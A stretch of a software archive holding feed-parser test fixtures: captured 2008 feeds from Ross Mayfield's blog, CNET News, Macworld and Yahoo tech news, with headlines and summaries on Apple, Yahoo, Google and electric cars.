twitter. OH, YAH AND PANDORA TOO! </span> &nbsp; &nbsp;&nbsp; &nbsp; <span class="meta entry-meta"> &nbsp; <a href="http://twitter.com/gwachob/statuses/857568032" class="entry-date" rel="bookmark"><abbr class="published" title="2008-07-14T00:14:17+00:00">about 2 hours</abbr> ago</a> from <a href="http://www.twhirl.org/">twhirl</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; <a href="http://twitter.com/Ross/statuses/857565711">in reply to Ross</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; </span> &nbsp; &nbsp; </td> <td width="10" align="right"> &nbsp; &nbsp; &nbsp; <div id="status_actions_857568032" class="status_actions"> <a href="http://twitter.com/replies#" onclick="replyTo('gwachob');"><br /> &nbsp; &nbsp; </a> &nbsp; </div> </td> </tr> <tr class="hentry" id="status_857567507"> &nbsp; <td class="thumb vcard author"> &nbsp; <a href="http://twitter.com/Joseph_di_P" class="url"><img alt="J. A. di Paolantonio" class="photo fn" id="profile-image" src="http://s3.amazonaws.com/twitter_production/profile_images/54949425/JosephDP_normal.jpg" /></a> </td> <td class="content"> <strong><a href="http://twitter.com/Joseph_di_P" title="J. A. di Paolantonio">Joseph_di_P</a></strong> <span class="entry-content"> &nbsp; @<a href="http://twitter.com/Ross">Ross</a> eReader, Instapaper; trying to decide between OmniFocus &amp; Evernote; still looking ;-) </span> &nbsp; &nbsp;&nbsp; &nbsp; <span class="meta entry-meta"> &nbsp; <a href="http://twitter.com/Joseph_di_P/statuses/857567507" class="entry-date" rel="bookmark"><abbr class="published" title="2008-07-14T00:13:20+00:00">about 2 hours</abbr> ago</a> from <a href="http://www.hahlo.com/">Hahlo</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; <a href="http://twitter.com/Ross/statuses/857565711">in reply to Ross</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; </span> &nbsp; &nbsp; </td> <td width="10" align="right"> &nbsp; &nbsp; &nbsp; <div id="status_actions_857567507" class="status_actions"> <a href="http://twitter.com/replies#" onclick="replyTo('Joseph_di_P');"><br /> &nbsp; &nbsp; </a> &nbsp; </div> </td> </tr> <tr class="hentry" id="status_857566583"> &nbsp; <td class="thumb vcard author"> &nbsp; <a href="http://twitter.com/DougToombs" class="url"><img alt="Doug Toombs" class="photo fn" id="profile-image" src="http://s3.amazonaws.com/twitter_production/profile_images/56484200/doug-suit-sm_normal.jpg" /></a> </td> <td class="content"> <strong><a href="http://twitter.com/DougToombs" title="Doug Toombs">DougToombs</a></strong> <span class="entry-content"> &nbsp; @<a href="http://twitter.com/Ross">Ross</a> For non-games, it's Loopt, Yelp, UrbanSpoon (the &quot;sleeper&quot; best app), SmugShot, Shazam. </span> &nbsp; &nbsp;&nbsp; &nbsp; <span class="meta entry-meta"> &nbsp; <a href="http://twitter.com/DougToombs/statuses/857566583" class="entry-date" rel="bookmark"><abbr class="published" title="2008-07-14T00:11:33+00:00">about 2 hours</abbr> ago</a> from <a href="http://iconfactory.com/software/twitterrific">twitterrific</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; <a href="http://twitter.com/Ross/statuses/857565711">in reply to Ross</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; </span></td></tr></tbody></table> <p>The biggest missing app is something good and free from Flickr.&nbsp; I was happy to find an alternative, Typepad:</p> <p><a href="http://ross.typepad.com/photos/uncategorized/2008/07/13/iphone_apps.jpg"><img border="0" src="http://ross.typepad.com/photos/uncategorized/2008/07/13/iphone_apps.jpg" class="image-full" /></a></p> <p>Mobile. Blogging. Cats.</p> Ross Mayfield 2008-07-13T19:10:08-07:00 Alan Lepofsky Joins Socialtext http://ross.typepad.com/blog/2008/07/alan-lepofsky-j.html Alan Lepofsky just blogged that he has joined Socialtext as Director of Marketing. I'm excited to work directly with him, as his passion and expertise in collaboration. He most recently served as Senior Strategist for Lotus Software at IBM. Ed... <p><a href="http://www.alanlepofsky.net/alepofsky/alanblog.nsf/dx/career-2.0-im-leaving-ibm-and-joining-socialtext">Alan Lepofsky just blogged</a> that he has joined Socialtext as Director of Marketing.&nbsp; I'm excited to work directly with him, as his passion and expertise in collaboration.&nbsp; He most recently served as Senior Strategist for Lotus Software at IBM.&nbsp; Ed Brill, who first introduced me to Alan, <a href="http://www.edbrill.com/ebrill/edbrill.nsf/dx/congratulations-to-the-big-lepofsky-on-his-new-role-at-socialtext">puts it better than titles</a>:</p><blockquote><p>Alan's contributions to the IBM Lotus business over the last ten years have been immeasurable.&nbsp; Many know Alan as a visible member of the Lotus community -- a speaker during Lotusphere keynotes and breakouts, user groups and IBM conferences; constant contributor to the &quot;Notes.net&quot; and Business Partner discussion forums; <a target="_blank" href="http://penumbra.org/lwcm/publish.nsf/Content/Awards"><span style="text-decoration: underline;">Penumbra &quot;Prism&quot; award winner</span></a>; and, of course, passionate blogger.&nbsp; What is less well-known externally are his contributions to Lotus's business and technical strategy over the last ten+ years.&nbsp; Alan has had direct influence on successful projects in our partner/channels organization, business strategy, and technical direction.&nbsp; I can honestly say I've never worked with someone as passionate as Alan -- he is always willing to push for what is needed, even when that might be unpopular or politically challenging. As recently as last week, I saw him updating strategy documents, conducting brainstorming sessions, and pushing for more Notes technical integration. </p></blockquote><p>I look forward to raising the bar in our marketing efforts with Alan, and also enhancing our partnership with Lotus Connections.</p> Socialtext Ross Mayfield 2008-07-09T08:25:56-07:00 Who is on my team, anyway? http://ross.typepad.com/blog/2008/07/who-is-on-my-te.html Larry Irons digs ups some old research to show that distributed collaboration isn't just about getting your team on the same page. But figuring out who the team is in the first place. Those advocating Enterprise 2.0, especially wikis, may... <p><a href="http://skilfulminds.com/2008/07/07/whos-on-your-team-enterprise-20-and-team-boundaries/">Larry Irons</a> digs ups some old research to show that distributed collaboration isn't just about getting your team on the same page.&nbsp; But figuring out who the team is in the first place.</p><blockquote><p>Those advocating Enterprise 2.0, especially wikis, may consider the benefits described back in 2002 by Mortensen and Hinds <em>obvious</em>. However, I’d be surprised if managers in global organizations using cross-functional teams would agree that, on average, only 75% of the employees on any given distrbuted team agree about who is, and who is not, on their team. The implications for collaboration are significant. At the same time that wiki applications such as <a target="_blank" href="http://www.socialtext.com/products/features/Socialtext-People.php">Socialtext People</a> provide increased awareness of the boundaries of a team, they also increase the likelihood of finding people outside the team with expertise relevant to team challenges, resulting in more boundary spanning across teams. Overall, information sharing within teams and across teams increases.</p></blockquote><p>Sounds like the making of a great Dilbert cartoon, outside the cubicles.&nbsp; </p> <p>But this distributed problem is widely distributed.&nbsp; 85% of knowledge workers engage in distributed collaboration.&nbsp; That's a lot of nebulous teams.</p> decentralization management Socialtext Ross Mayfield 2008-07-08T08:34:41-07:00 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-rss.com.com-2547-1_3-0-5.xml0000664000175000017500000003341612653701626025137 0ustar janjan CNET News.com http://www.news.com/ Tech news and business reports by CNET News.com. Focused on information technology, core topics include computers, hardware, software, networking, and Internet media. en-us Copyright 1995-2008 CNET Networks, Inc. All rights reserved. Tue, 22 Jul 2008 08:55:09 PDT Tue, 22 Jul 2008 08:55:09 PDT 14171 CNET News.com CNET http://www.news.com/2009-1090-980549.html 20 CNET News.com http://i.i.com.com/cnwk.1d/i/ne/gr/prtnr/rss_logo.gif http://www.news.com/ 88 31 Are Google Maps good or evil? http://news.cnet.com/8301-1023_3-9996444-93.html?part=rss&subj=news&tag=2547-1_3-0-5 Google Maps helps bad people find good people and vice versa. You'll have to decide whether to feel more or less secure. http://news.cnet.com/8301-1023_3-9996444-93.html Tue, 22 Jul 2008 08:50:42 PDT Ad firm ContextWeb snags $26 million in funding http://news.cnet.com/8301-1023_3-9996478-93.html?part=rss&subj=news&tag=2547-1_3-0-5 Advertising exchange owner ContextWeb closes funding round of $26 million. http://news.cnet.com/8301-1023_3-9996478-93.html Tue, 22 Jul 2008 08:47:00 PDT Viacom CEO Philippe Dauman on Google's 'rogue company' http://news.cnet.com/8301-1023_3-9996383-93.html?part=rss&subj=news&tag=2547-1_3-0-5 Viacom chief says Google has an inability to bend in negotiations with Hollywood and suggests it was always Google's strategy to ignore piracy on YouTube so the site could "dominate the space." http://news.cnet.com/8301-1023_3-9996383-93.html Tue, 22 Jul 2008 07:56:00 PDT Will Yahoo ad business weather economic storm? http://news.cnet.com/8301-1023_3-9996416-93.html?part=rss&subj=news&tag=2547-1_3-0-5 Google got off easy with its second-quarter results. It's not clear that Yahoo, with more exposure to display ads, will be so lucky. http://news.cnet.com/8301-1023_3-9996416-93.html Tue, 22 Jul 2008 07:53:00 PDT The world's biggest subwoofer http://news.cnet.com/8301-13645_3-9995498-47.html?part=rss&subj=news&tag=2547-1_3-0-5 When it comes to subwoofers size still matters. http://news.cnet.com/8301-13645_3-9995498-47.html Tue, 22 Jul 2008 06:51:00 PDT Yang note welcomes Icahn's 'fresh perspective' http://news.cnet.com/8301-1023_3-9996380-93.html?part=rss&subj=news&tag=2547-1_3-0-5 After months of exchanging barbs with investor activist Carl Icahn, Yahoo CEO Jerry Yang tells employees he's looking forward to working with Icahn on the board. http://news.cnet.com/8301-1023_3-9996380-93.html Tue, 22 Jul 2008 06:25:00 PDT Opening up the cloud http://news.cnet.com/8301-13505_3-9996318-16.html?part=rss&subj=news&tag=2547-1_3-0-5 Cloud computing needs to be open. Too much is riding on the risk of proprietary closure of data. Suggestion: make it easy (and free) to develop, but charge for services rendered. http://news.cnet.com/8301-13505_3-9996318-16.html Tue, 22 Jul 2008 06:08:00 PDT 'Smart' electric grids to ease zap from plug-ins? http://www.news.com/8301-17912_3-9996379-72.html?part=rss&subj=news&tag=2547-1_3-0-5 Department of Energy-funded project is testing fast chargers and "smart" electrical grids for controlling a potential strain on resources from plug-in hybrid vehicles. http://www.news.com/8301-17912_3-9996379-72.html Tue, 22 Jul 2008 05:54:00 PDT Targeted 'Times' articles coming to LinkedIn http://news.cnet.com/8301-1023_3-9996370-93.html?part=rss&subj=news&tag=2547-1_3-0-5 The content-sharing deal enables The New York Times to send newspaper headlines targeted to the individual interests of the business-networking site's users. http://news.cnet.com/8301-1023_3-9996370-93.html Tue, 22 Jul 2008 05:06:00 PDT At FCC broadband hearing, speeches but no consensus http://news.cnet.com/8301-13578_3-9996339-38.html?part=rss&subj=news&tag=2547-1_3-0-5 Regulators hold public hearing with few ground rules, resulting in haphazardly meandering comments on spam, porn, privacy, Net neutrality, and copyright infringement. http://news.cnet.com/8301-13578_3-9996339-38.html Tue, 22 Jul 2008 04:30:00 PDT Servers in the home remain scarce http://news.cnet.com/8301-13860_3-9995868-56.html?part=rss&subj=news&tag=2547-1_3-0-5 A year after its release, Microsoft's Windows Home Server product still rare on store shelves and well known only among hard core techies. http://news.cnet.com/8301-13860_3-9995868-56.html Tue, 22 Jul 2008 04:00:00 PDT GM partners with utilities to advance plug-in hybrids http://news.cnet.com/8301-11128_3-9996348-54.html?part=rss&subj=news&tag=2547-1_3-0-5 General Motors, electric companies, and the Electric Power Research Institute aim to lay the groundwork for stations to charge electric cars. http://news.cnet.com/8301-11128_3-9996348-54.html Tue, 22 Jul 2008 04:00:00 PDT Coulomb unveils electric-car charging stations http://news.cnet.com/8301-11128_3-9996353-54.html?part=rss&subj=news&tag=2547-1_3-0-5 Tests of Coulomb Technologies' curbside stations for recharging electric vehicles are coming first to San Jose, Calif, under a two-year contract using the existing infrastructure. http://news.cnet.com/8301-11128_3-9996353-54.html Tue, 22 Jul 2008 03:30:00 PDT Green news harvest: Wind power expands in Northwest; lime-laced oceans explored to fight global warming http://news.cnet.com/8301-11128_3-9995958-54.html?part=rss&subj=news&tag=2547-1_3-0-5 A sampling of green-tech news, including a waste-to-fuel plant set for Nevada, criticism of new coal plants, hybrid taxis in the Big Apple, smart homes set for Europe, and more. http://news.cnet.com/8301-11128_3-9995958-54.html Mon, 21 Jul 2008 23:32:00 PDT AOL expands health site http://news.cnet.com/8301-1023_3-9996330-93.html?part=rss&subj=news&tag=2547-1_3-0-5 More content and tools--and advertising opportunity--comes to AOL Health from Caring.com, Health.com, and Healthcare.com. http://news.cnet.com/8301-1023_3-9996330-93.html Mon, 21 Jul 2008 23:11:06 PDT Report: TiVo, Amazon team up on sales pitches http://news.cnet.com/8301-1023_3-9996328-93.html?part=rss&subj=news&tag=2547-1_3-0-5 Partnership aims to make it easier for consumers to purchase products they see advertised and promoted on television commercials and talk shows, The New York Times reports. http://news.cnet.com/8301-1023_3-9996328-93.html Mon, 21 Jul 2008 22:50:00 PDT Amazon offers automatic credit for S3 outage http://news.cnet.com/8301-1001_3-9996327-92.html?part=rss&subj=news&tag=2547-1_3-0-5 Ordinarily, customers would have to apply to get credit for an Amazon Web Services outage, but online retailer is handling Sunday's outage automatically. http://news.cnet.com/8301-1001_3-9996327-92.html Mon, 21 Jul 2008 22:47:00 PDT Sandisk: Windows Vista not optimized for solid state drives http://news.cnet.com/8301-13924_3-9996317-64.html?part=rss&subj=news&tag=2547-1_3-0-5 Sandisk says Windows Vista is not optimized for solid state drives, which will cause a delay in the roll-out of optimized drives. http://news.cnet.com/8301-13924_3-9996317-64.html Mon, 21 Jul 2008 22:30:00 PDT VCs pin hopes on green-tech 'exits' http://news.cnet.com/8301-11128_3-9993713-54.html?part=rss&subj=news&tag=2547-1_3-0-5 Green-tech sectors--solar, alternative fuels, auto, and wind--are expected to get more money from venture capitalists in the coming year, with hopes of healthy IPOs in 2010. http://news.cnet.com/8301-11128_3-9993713-54.html Mon, 21 Jul 2008 21:01:00 PDT Adobe revs media player, signs up Sony http://news.cnet.com/8301-1023_3-9996228-93.html?part=rss&subj=news&tag=2547-1_3-0-5 Haven't seen Jerry Maguire enough yet? New movies from Sony and TV shows from CBS are arriving on Adobe Media Player so you can stream them to your computer. http://news.cnet.com/8301-1023_3-9996228-93.html Mon, 21 Jul 2008 21:00:00 PDT Intel cuts chip prices up to 31 percent http://news.cnet.com/8301-13924_3-9995430-64.html?part=rss&tag=rsspr.6244035&subj=news<p>Featured links from the CNET Blog Network</p> <p> <a href="http://news.cnet.com/8301-13924_3-9995430-64.html?tag=bnpr">Intel cuts chip prices up to 31 percent</a>--Cuts to prices of dominant chipmaker's processor prices are limited in number and degree. Largest cut comes to the desktop Core 2 Duo E8500, at 3.16GHz. p> <p> <a href="http://news.cnet.com/8301-13846_3-9995360-62.html?tag=bnpr">Replay Solutions on 'TiVo for software'</a>--CEO Jonathan Lindo discusses how enterprise Java developers, like those at game companies, would use its bug replication software to fix applications faster and more effectively.</p> <p> <a href="http://news.cnet.com/8301-13639_3-9995331-42.html?tag=bnpr">Dispose of brigade's database on the battlefield</a>--Fujitsu adds a hand crank to hard drive degausser for emergency use.</p> <p> <a href="http://news.cnet.com/8301-13554_3-9995118-33.html?tag=bnpr">Hacking Medeco locks</a>--The Last HOPE conference is as much for people interested in hacking the real world as it is for computer techies.</p> http://news.cnet.com/8301-13924_3-9995430-64.html Mon, 21 Jul 2008 08:48:00 PDT Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-rss.macworld.com-macworld-news0000664000175000017500000002763312653701626026700 0ustar janjan Apple, Mac, iPod and iPhone News http://www.macworld.com Up to the minute news on the latest apple products including Mac computers and software, iPhones and iPods. en-us Tue, 22 Jul 2008 13:02:13 -0700 Tue, 22 Jul 2008 13:02:13 -0700 noUp to the minute news on the latest apple products including Mac computers and software, iPhones and iPods.Up to the minute news on the latest apple products including Mac computers and software, iPhones and iPods. Montreal Apple Store opens on Friday http://rss.macworld.com/~r/macworld/news/~3/342789626/montreal.html The Montreal area gets its second Apple Store this Friday. <p><a href="http://rss.macworld.com/~a/macworld/news?a=v59uDz"><img src="http://rss.macworld.com/~a/macworld/news?i=v59uDz" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/342789626" height="1" width="1"/> Tue, 22 Jul 2008 11:20:00 -0700 http://www.macworld.com/article/134621/2008/07/montreal.html?lsrc=rss_news Finale 2009 music notation software ships http://rss.macworld.com/~r/macworld/news/~3/342784901/finale.html Finale 2009 is the latest release of MakeMusic's industry-standard music notation software for Mac and Windows. <p><a href="http://rss.macworld.com/~a/macworld/news?a=Q73rNt"><img src="http://rss.macworld.com/~a/macworld/news?i=Q73rNt" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/342784901" height="1" width="1"/> Tue, 22 Jul 2008 11:12:00 -0700 http://www.macworld.com/article/134620/2008/07/finale.html?lsrc=rss_news Apple opens Liverpool retail store July 26 http://rss.macworld.com/~r/macworld/news/~3/342731487/liverpoolstore.html Apple will open its latest retail store in the U.K. in the redeveloped Liverpool One complex this coming weekend. <p><a href="http://rss.macworld.com/~a/macworld/news?a=LQnaG1"><img src="http://rss.macworld.com/~a/macworld/news?i=LQnaG1" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/342731487" height="1" width="1"/> Tue, 22 Jul 2008 10:05:00 -0700 http://www.macworld.com/article/134617/2008/07/liverpoolstore.html?lsrc=rss_news Apple pushes MobileMe surprise to XP, Vista http://rss.macworld.com/~r/macworld/news/~3/342701452/mobileme_windows.html Apple has installed a control applet for MobileMe on Windows XP and Vista systems that were updated to iTunes 7.7—the second time this year that the company has bundled new software with an update for an existing program. <p><a href="http://rss.macworld.com/~a/macworld/news?a=iUpvqB"><img src="http://rss.macworld.com/~a/macworld/news?i=iUpvqB" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/342701452" height="1" width="1"/> Tue, 22 Jul 2008 09:35:00 -0700 http://www.macworld.com/article/134616/2008/07/mobileme_windows.html?lsrc=rss_news Copy-and-paste: now more than ever http://rss.macworld.com/~r/macworld/news/~3/342695020/copypaste_iphone.html iPhone users have long felt the lack of copy-and-paste on the iPhone, but with the addition of third-party applications, it's only getting worse. <p><a href="http://rss.macworld.com/~a/macworld/news?a=we32yS"><img src="http://rss.macworld.com/~a/macworld/news?i=we32yS" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/342695020" height="1" width="1"/> Tue, 22 Jul 2008 09:18:00 -0700 http://www.macworld.com/article/134614/2008/07/copypaste_iphone.html?lsrc=rss_news eMusic revamps Web site with new content http://rss.macworld.com/~r/macworld/news/~3/342695021/emusic.html eMusic is revamping its Web site with new "Web 2.0" features over the next six months. <p><a href="http://rss.macworld.com/~a/macworld/news?a=lvilfo"><img src="http://rss.macworld.com/~a/macworld/news?i=lvilfo" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/342695021" height="1" width="1"/> Tue, 22 Jul 2008 09:12:00 -0700 http://www.macworld.com/article/134615/2008/07/emusic.html?lsrc=rss_news Walkman phones won't save Sony Ericsson, says analyst http://rss.macworld.com/~r/macworld/news/~3/342612305/walkman.html In the aftermath of a second quarter report that saw sales fall compared to last year, Sony Ericsson announced three new Walkman phones. <p><a href="http://rss.macworld.com/~a/macworld/news?a=MTZzcF"><img src="http://rss.macworld.com/~a/macworld/news?i=MTZzcF" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/342612305" height="1" width="1"/> Tue, 22 Jul 2008 07:34:00 -0700 http://www.macworld.com/article/134613/2008/07/walkman.html?lsrc=rss_news Default Folder update improves Word 2008 compatibility http://rss.macworld.com/~r/macworld/news/~3/342597090/defaultfolder.html Default Folder has been updated for several general fixes and specific fixes for Word 2008 <p><a href="http://rss.macworld.com/~a/macworld/news?a=pai0QK"><img src="http://rss.macworld.com/~a/macworld/news?i=pai0QK" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/342597090" height="1" width="1"/> Tue, 22 Jul 2008 07:25:00 -0700 http://www.macworld.com/article/134612/2008/07/defaultfolder.html?lsrc=rss_news PDFpen editing tool handles newer, non-standard PDFs http://rss.macworld.com/~r/macworld/news/~3/342554381/pdfpen.html PDFpen, the PDF editing tool, has been updated to handle newer PDFs that follow different specifications. <p><a href="http://rss.macworld.com/~a/macworld/news?a=BoNNHO"><img src="http://rss.macworld.com/~a/macworld/news?i=BoNNHO" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/342554381" height="1" width="1"/> Tue, 22 Jul 2008 06:25:00 -0700 http://www.macworld.com/article/134611/2008/07/pdfpen.html?lsrc=rss_news Sandvox updated for MobileMe http://rss.macworld.com/~r/macworld/news/~3/342539498/sandvox.html Sandvox, Karelia's Web site creation software, has been updated with support for Apple's MobileMe service. <p><a href="http://rss.macworld.com/~a/macworld/news?a=EboDRq"><img src="http://rss.macworld.com/~a/macworld/news?i=EboDRq" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/342539498" height="1" width="1"/> Tue, 22 Jul 2008 06:17:00 -0700 http://www.macworld.com/article/134610/2008/07/sandvox.html?lsrc=rss_news Apple stock bitten by earnings forecast, Jobs http://rss.macworld.com/~r/macworld/news/~3/342530754/stock.html Apple's stock plunged in after-market trading on concerns for Steve Jobs' health and a worse than expected earnings forecast. <p><a href="http://rss.macworld.com/~a/macworld/news?a=YrfZ3A"><img src="http://rss.macworld.com/~a/macworld/news?i=YrfZ3A" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/342530754" height="1" width="1"/> Tue, 22 Jul 2008 06:00:00 -0700 http://www.macworld.com/article/134609/2008/07/stock.html?lsrc=rss_news Apple: iPhone coming to 20 more countries Aug. 22 http://rss.macworld.com/~r/macworld/news/~3/341970040/iphone_august.html Apple’s Tim Cook said the iPhone 3G would start shipping in 20 countries on August 22, bringing the total size of the iPhone market to more than 40 countries. <p><a href="http://rss.macworld.com/~a/macworld/news?a=VR53jt"><img src="http://rss.macworld.com/~a/macworld/news?i=VR53jt" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/341970040" height="1" width="1"/> Mon, 21 Jul 2008 15:33:00 -0700 http://www.macworld.com/article/134605/2008/07/iphone_august.html?lsrc=rss_news Live Update: Apple financial conference call http://rss.macworld.com/~r/macworld/news/~3/341890300/liveupdate.html Macworld provides live coverage of Apple’s conference call with investors, following the company’s earnings statement. <p><a href="http://rss.macworld.com/~a/macworld/news?a=ClHcHf"><img src="http://rss.macworld.com/~a/macworld/news?i=ClHcHf" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/341890300" height="1" width="1"/> Mon, 21 Jul 2008 13:57:00 -0700 http://www.macworld.com/article/134594/2008/07/liveupdate.html?lsrc=rss_news Apple reports $1.07 billion profit on strong Mac, iPhone sales http://rss.macworld.com/~r/macworld/news/~3/341874758/appleearnings.html Apple posted a profit of $1.07 billion as Mac sales rise 43 percent over the year ago quarter. <p><a href="http://rss.macworld.com/~a/macworld/news?a=WfFBGv"><img src="http://rss.macworld.com/~a/macworld/news?i=WfFBGv" border="0"></img></a></p><img src="http://rss.macworld.com/~r/macworld/news/~4/341874758" height="1" width="1"/> Mon, 21 Jul 2008 13:35:00 -0700 http://www.macworld.com/article/134604/2008/07/appleearnings.html?lsrc=rss_news nonadult Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-rss.news.yahoo.com-rss-tech0000664000175000017500000002634212653701626026124 0ustar janjan Yahoo! News: Technology News Copyright (c) 2008 Yahoo! Inc. All rights reserved. http://news.yahoo.com/i/738 Technology News en-us Tue, 22 Jul 2008 15:20:14 GMT 5 Yahoo! News 142 18 http://news.yahoo.com/i/738 http://us.i1.yimg.com/us.yimg.com/i/us/nws/th/main_142b.gif Breaking up not so hard to do with Slydial (AP) http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/ap/20080722/ap_on_hi_te/tec_slydial ap/20080722/tec_slydial AP Tue, 22 Jul 2008 14:41:20 GMT AP - The old song had it right: Breaking up is hard to do. But a free new phone service called Slydial might make it easier to get through that and other awkward moments — without actually having to talk to anyone. Apple stock drops despite jump in Q3 profit (AP) http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/ap/20080722/ap_on_hi_te/earns_apple ap/20080722/earns_apple AP Tue, 22 Jul 2008 14:00:28 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/ap/20080722/ap_on_hi_te/earns_apple"><img src="http://d.yimg.com/us.yimg.com/p/afp/20080722/capt.cps.nbg57.220708110401.photo03.photo.default-512x354.jpg?x=130&y=89&q=85&sig=pfOApAKovJGTWlNyMhp5Uw--" align="left" height="89" width="130" alt="A new MacBook Air ultra thin laptop on display at the MacWorld conference in San Francisco earlier this year. Apple has said its third-quarter profits topped a billion dollars on strong sales of its Macintosh computers, iPods and iPhones.(AFP/File/Tony Avelar)" border="0" /></a>AP - Shares of Apple Inc. fell sharply as investors focused more on the company's cautious guidance for the current quarter than on the blockbuster Macintosh and iPod sales during the previous three-month period.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/ap/20080722/ap_on_hi_te/earns_apple"><img src="http://d.yimg.com/us.yimg.com/p/afp/20080722/capt.cps.nbg57.220708110401.photo03.photo.default-512x354.jpg?x=130&y=89&q=85&sig=pfOApAKovJGTWlNyMhp5Uw--" align="left" height="89" width="130" alt="photo" title="A new MacBook Air ultra thin laptop on display at the MacWorld conference in San Francisco earlier this year. Apple has said its third-quarter profits topped a billion dollars on strong sales of its Macintosh computers, iPods and iPhones.(AFP/File/Tony Avelar)" border="0"/></a></p><br clear="all"/> (AP) Yahoo settles with Icahn to avert August showdown (AP) http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/ap/20080721/ap_on_hi_te/yahoo_microsoft ap/20080721/yahoo_microsoft AP Mon, 21 Jul 2008 20:56:45 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/ap/20080721/ap_on_hi_te/yahoo_microsoft"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080721/capt.d89102e95d814662827833f8d2e0c89e.yahoo_microsoft_nybz111.jpg?x=130&y=122&q=85&sig=QYR1BP_gOMu4zqXud8xY8Q--" align="left" height="122" width="130" alt="In this May 7, 2007 file photo, billionaire financier Carl Icahn, right, and his wife, Gail, arrive at the Motorola annual meeting in Chicago. Yahoo has reached a settlement, Monday, July 21, 2008, with activist investor Carl Icahn. (AP Photo/Charles Rex Arbogast, File)" border="0" /></a>AP - Yahoo Inc. averted a showdown with rabble-rousing investor Carl Icahn on Monday by giving him three seats on its board of directors in a truce that still leaves the door open for a possible sale to Microsoft Corp.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/ap/20080721/ap_on_hi_te/yahoo_microsoft"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080721/capt.d89102e95d814662827833f8d2e0c89e.yahoo_microsoft_nybz111.jpg?x=130&y=122&q=85&sig=QYR1BP_gOMu4zqXud8xY8Q--" align="left" height="122" width="130" alt="photo" title="In this May 7, 2007 file photo, billionaire financier Carl Icahn, right, and his wife, Gail, arrive at the Motorola annual meeting in Chicago. Yahoo has reached a settlement, Monday, July 21, 2008, with activist investor Carl Icahn. (AP Photo/Charles Rex Arbogast, File)" border="0"/></a></p><br clear="all"/> (AP) Brocade deals for Foundry Networks in Cisco salvo (AP) http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/ap/20080722/ap_on_hi_te/brocade_foundry_networks ap/20080722/brocade_foundry_networks AP Tue, 22 Jul 2008 04:25:21 GMT AP - Brocade Communications Systems Inc., dominant in an obscure corner of the data storage market, wants a piece of a bigger pie: Cisco Systems Inc.'s cash cow business of networking equipment that shuttles Internet traffic. Yang note welcomes Icahn's 'fresh perspective' (CNET) http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/cnet/20080722/tc_cnet/830110233999638093 cnet/20080722/830110233999638093 CNET Tue, 22 Jul 2008 13:25:00 GMT CNET - After months of exchanging barbs with investor activist Carl Icahn, Yahoo CEO Jerry Yang has told employees he's looking forward to the "fresh perspective" Icahn will bring as a board member. BSkyB signs Universal for online music service (Reuters) http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/nm/20080722/wr_nm/bskyb_music_dc nm/20080722/bskyb_music_dc Reuters Tue, 22 Jul 2008 15:15:26 GMT Reuters - Britain's largest pay-TV firm BSkyB is to launch an online subscription music service and has signed the world's largest music group Universal as its first partner, in a deal that could challenge Apple. Apple's earnings, revenue up, but Street's not satisfied (USATODAY.com) http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/usatoday/20080722/tc_usatoday/applesearningsrevenueupbutstreetsnotsatisfied usatoday/20080722/applesearningsrevenueupbutstreetsnotsatisfied USATODAY.com Tue, 22 Jul 2008 14:02:48 GMT USATODAY.com - Apple reported its best ever June quarter for revenue and Mac computer sales Monday - but Wall Street didn't like its projections for the next quarter. China Mobile Begins 3G Marketing Push (PC World) http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/pcworld/20080722/tc_pcworld/148740 pcworld/20080722/148740 PC World Tue, 22 Jul 2008 15:20:14 GMT PC World - China Mobile has begun the marketing push for a public beta of 3G (third-generation telephony) services. Symbian: R&D wants motivated open sourcing (InfoWorld) http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/infoworld/20080722/tc_infoworld/107081 infoworld/20080722/107081 InfoWorld Tue, 22 Jul 2008 12:00:00 GMT InfoWorld - Research and development efficiency, and not competitive concerns about the Google Android or Linux Mobile (LiMo) initiatives, was a chief driver in the decision to make the Symbian mobile platform open source, a Symbian official said Monday afternoon. How to handle SOA vendor consolidation (InfoWorld) 